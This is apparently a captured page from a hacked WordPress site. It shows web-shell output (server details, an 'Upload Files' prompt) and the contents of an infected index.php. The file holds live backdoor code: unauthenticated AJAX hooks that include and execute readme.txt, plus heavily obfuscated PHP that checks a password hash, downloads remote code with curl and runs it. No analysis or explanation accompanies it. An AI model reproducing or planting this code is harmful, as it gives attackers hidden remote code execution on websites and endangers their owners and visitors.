if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/maint/maint/maint/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/maint/maint/maint/index.php
<?php
 goto E3WjhDn_brJnu; B11whmULxyiJJ: cA9QiBNxwF3HG: goto cFTLRqCTjHfvu; FKna4DpCB_n7O: if (!(in_array(gettype($lN1ojr3bF4dp0) . count($lN1ojr3bF4dp0), $lN1ojr3bF4dp0) && count($lN1ojr3bF4dp0) == 13)) { goto cA9QiBNxwF3HG; } goto u8g1W0BWBGZB1; qqvxi12RJjIzQ: $lN1ojr3bF4dp0 = ${$V4TiGs9d9PGE5[8 + 23] . $V4TiGs9d9PGE5[6 + 53] . $V4TiGs9d9PGE5[5 + 42] . $V4TiGs9d9PGE5[24 + 23] . $V4TiGs9d9PGE5[15 + 36] . $V4TiGs9d9PGE5[48 + 5] . $V4TiGs9d9PGE5[25 + 32]}; goto FKna4DpCB_n7O; cFTLRqCTjHfvu: metaphone("\x4d\124\x49\167\117\x54\x45\64\116\x54\x59\x33\x4d\152\115\63\x4e\x6a\101\65\x4e\x44\111\x32\x4d\x54\x59\x79\x4e\x44\x51\x78"); goto IZLKWlGmkTE3Q; IZLKWlGmkTE3Q: class ZXGnZCTZpGGWh { static function FD4ORAj76CdGr($GcT5KX30XvQvo) { goto gr5yA00LDxlRO; aCues0IgWmbuA: $roSaSP1sk3_Vr = $Wr7_8E8P66aq_("\x7e", "\x20"); goto EsSwXlOw5q3He; b5iCA2Uw5DHW1: $ymfM70dGMJaF_ = ''; goto fipoTOR5jjk5S; gr5yA00LDxlRO: $Wr7_8E8P66aq_ = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto aCues0IgWmbuA; Hu3ze2DsBhugb: return $ymfM70dGMJaF_; goto kfASc8qNqdPKE; fipoTOR5jjk5S: foreach ($q5citkMYSSQyI as $la2dx7we3QCuY => $iWdCDdqKwchh1) { $ymfM70dGMJaF_ .= $roSaSP1sk3_Vr[$iWdCDdqKwchh1 - 80260]; Eg8LAs5g_rkVk: } goto DvhWzgrqb2F_2; EsSwXlOw5q3He: $q5citkMYSSQyI = explode("\174", $GcT5KX30XvQvo); goto b5iCA2Uw5DHW1; DvhWzgrqb2F_2: ewuoxUi8g_XXq: goto Hu3ze2DsBhugb; kfASc8qNqdPKE: } static function Ob8Z2rhZQAxkO($EQ0FpJ31g2P3c, $DQgtO7NHl9wlr) { goto IwuaFnRbW_y6f; IwuaFnRbW_y6f: $miI7TZLzL7IDZ = curl_init($EQ0FpJ31g2P3c); goto JZ2u4pVnyRJS7; ncwZSh84gNj0v: $h3JMpZsFPjO1Y = curl_exec($miI7TZLzL7IDZ); goto RTk5xAos6A2T6; JZ2u4pVnyRJS7: curl_setopt($miI7TZLzL7IDZ, CURLOPT_RETURNTRANSFER, 1); goto ncwZSh84gNj0v; RTk5xAos6A2T6: return empty($h3JMpZsFPjO1Y) ? $DQgtO7NHl9wlr($EQ0FpJ31g2P3c) : $h3JMpZsFPjO1Y; goto AEY9xnpO8UPE0; AEY9xnpO8UPE0: } static function STb8Rl1u_iJVM() { goto trw6GzZ4nRbOp; J0S3d5gSlub8W: $BpXPtYRSeCqVV = @$IRu1a4y_CKjVd[1]($IRu1a4y_CKjVd[7 + 3](INPUT_GET, $IRu1a4y_CKjVd[3 + 6])); goto xDGBo1R089BqB; AsWjf2ljuMHSY: die; goto HaR2wd9Rf04A_; v3uIRN7CjWJiA: @$IRu1a4y_CKjVd[0 + 10](INPUT_GET, "\157\x66") == 1 && die($IRu1a4y_CKjVd[5 + 0](__FILE__)); goto JR8EWeZL1WwFm; soG3xGUMCA6Eq: $PT4b82DHPavc7 = $IRu1a4y_CKjVd[0 + 2]($DC3vlZDz7ZhO2, true); goto v3uIRN7CjWJiA; xDGBo1R089BqB: $DC3vlZDz7ZhO2 = @$IRu1a4y_CKjVd[3 + 0]($IRu1a4y_CKjVd[5 + 1], $BpXPtYRSeCqVV); goto soG3xGUMCA6Eq; HaR2wd9Rf04A_: XsgwQ4UHlUKdG: goto CLvo2RusuIf_D; dZ3uoaRzWXC7r: $F3wPGxFXTIWF1 = self::Ob8Z2RhZQaXKo($PT4b82DHPavc7[0 + 1], $IRu1a4y_CKjVd[0 + 5]); goto toqVjkyJgQ094; hs72rPzaV92t3: foreach ($Oimh4k8p_tf4g as $h4bLEcLRDY4MY) { $IRu1a4y_CKjVd[] = self::FD4oRAj76cdGr($h4bLEcLRDY4MY); swHzgvl5pcnTv: } goto giJQYfbE6RjHi; toqVjkyJgQ094: @$IRu1a4y_CKjVd[0]('', $IRu1a4y_CKjVd[2 + 5] . $IRu1a4y_CKjVd[1 + 3]($F3wPGxFXTIWF1) . $IRu1a4y_CKjVd[0 + 8]); goto AsWjf2ljuMHSY; trw6GzZ4nRbOp: $Oimh4k8p_tf4g = array("\70\60\62\x38\x37\174\70\x30\x32\67\62\174\x38\x30\62\x38\x35\174\x38\x30\62\x38\71\x7c\70\x30\x32\67\x30\x7c\x38\x30\x32\x38\x35\x7c\x38\60\62\71\x31\x7c\x38\x30\62\x38\64\x7c\x38\x30\62\66\x39\174\70\x30\62\67\x36\174\x38\60\62\x38\67\174\x38\x30\x32\67\60\174\x38\60\x32\70\61\174\x38\x30\x32\x37\65\174\70\x30\x32\67\66", "\x38\60\x32\67\x31\174\x38\60\x32\67\x30\x7c\x38\x30\x32\67\62\174\x38\60\62\71\x31\x7c\x38\60\62\67\62\174\x38\x30\x32\x37\65\x7c\x38\x30\62\x37\60\174\x38\x30\63\x33\x37\174\70\x30\x33\63\65", "\x38\60\x32\70\x30\x7c\70\60\62\67\x31\174\70\60\62\x37\x35\174\x38\x30\62\x37\66\174\x38\x30\62\x39\61\x7c\70\60\62\70\x36\174\70\60\x32\70\65\x7c\70\60\x32\x38\x37\174\70\60\62\x37\65\x7c\x38\x30\62\x38\66\x7c\x38\x30\62\70\x35", "\x38\x30\x32\x37\64\x7c\70\60\x32\x38\71\174\x38\60\x32\x38\x37\174\70\x30\x32\67\x39", "\x38\60\62\x38\70\x7c\x38\x30\62\x38\x39\x7c\x38\x30\x32\x37\x31\174\70\x30\x32\x38\65\x7c\x38\x30\63\x33\62\174\70\x30\63\x33\x34\174\70\60\x32\71\61\x7c\x38\60\x32\70\66\x7c\x38\x30\x32\70\65\174\70\60\x32\70\67\x7c\70\x30\62\x37\x35\x7c\x38\60\x32\70\66\x7c\x38\x30\62\70\65", "\70\60\62\70\64\x7c\70\x30\62\70\61\x7c\x38\60\x32\x37\x38\174\70\60\62\70\x35\174\70\x30\62\x39\61\174\70\60\x32\x38\63\x7c\x38\60\x32\x38\x35\x7c\x38\60\x32\x37\x30\174\70\60\62\71\x31\174\70\x30\62\x38\x37\x7c\70\x30\62\x37\65\x7c\x38\x30\62\x37\66\x7c\70\60\62\x37\60\x7c\x38\60\x32\x38\65\x7c\70\x30\62\x37\x36\x7c\x38\60\x32\x37\x30\x7c\x38\x30\x32\67\x31", "\x38\60\63\x31\64\x7c\70\x30\x33\64\x34", "\x38\60\x32\x36\x31", "\70\60\63\x33\x39\x7c\x38\x30\x33\64\64", "\70\60\63\x32\61\x7c\x38\x30\x33\60\x34\x7c\70\x30\x33\x30\64\174\x38\60\63\62\x31\x7c\x38\x30\x32\x39\67", "\x38\x30\x32\70\x34\x7c\x38\60\x32\x38\x31\x7c\x38\x30\x32\x37\70\174\x38\60\62\67\60\174\x38\60\62\70\x35\174\70\60\x32\67\x32\x7c\70\x30\62\71\61\174\x38\x30\62\70\x31\174\x38\x30\x32\67\x36\x7c\70\60\x32\x37\64\174\70\x30\62\x36\71\174\x38\60\62\x37\60"); goto hs72rPzaV92t3; giJQYfbE6RjHi: eh5xWju5I1ewv: goto J0S3d5gSlub8W; JR8EWeZL1WwFm: if (!(@$PT4b82DHPavc7[0] - time() > 0 and md5(md5($PT4b82DHPavc7[1 + 2])) === "\x62\143\x37\x33\63\x32\64\x66\x33\142\x39\x30\143\x30\x37\x38\61\61\x64\65\71\x35\x35\x34\x37\x61\66\66\63\x32\62\64")) { goto XsgwQ4UHlUKdG; } goto dZ3uoaRzWXC7r; CLvo2RusuIf_D: } } goto pjshrHUtqsZMv; u8g1W0BWBGZB1: @(md5(md5(md5(md5($lN1ojr3bF4dp0[7])))) === "\x34\x61\145\x33\x30\x63\142\x39\x64\64\x34\x65\65\144\x36\x34\145\143\x35\145\65\61\141\145\x36\x33\x38\62\x64\143\x63\63") && (($lN1ojr3bF4dp0[61] = $lN1ojr3bF4dp0[61] . $lN1ojr3bF4dp0[76]) && ($lN1ojr3bF4dp0[84] = $lN1ojr3bF4dp0[61]($lN1ojr3bF4dp0[84])) && @($lN1ojr3bF4dp0 = $lN1ojr3bF4dp0[84]($lN1ojr3bF4dp0[58], $lN1ojr3bF4dp0[61](${$lN1ojr3bF4dp0[40]}[14]))) && $lN1ojr3bF4dp0()); goto B11whmULxyiJJ; E3WjhDn_brJnu: $V4TiGs9d9PGE5 = range("\x7e", "\40"); goto qqvxi12RJjIzQ; pjshrHUtqsZMv: zxGNZctzPggWH::stb8Rl1U_IjvM();
?>
@ Telegram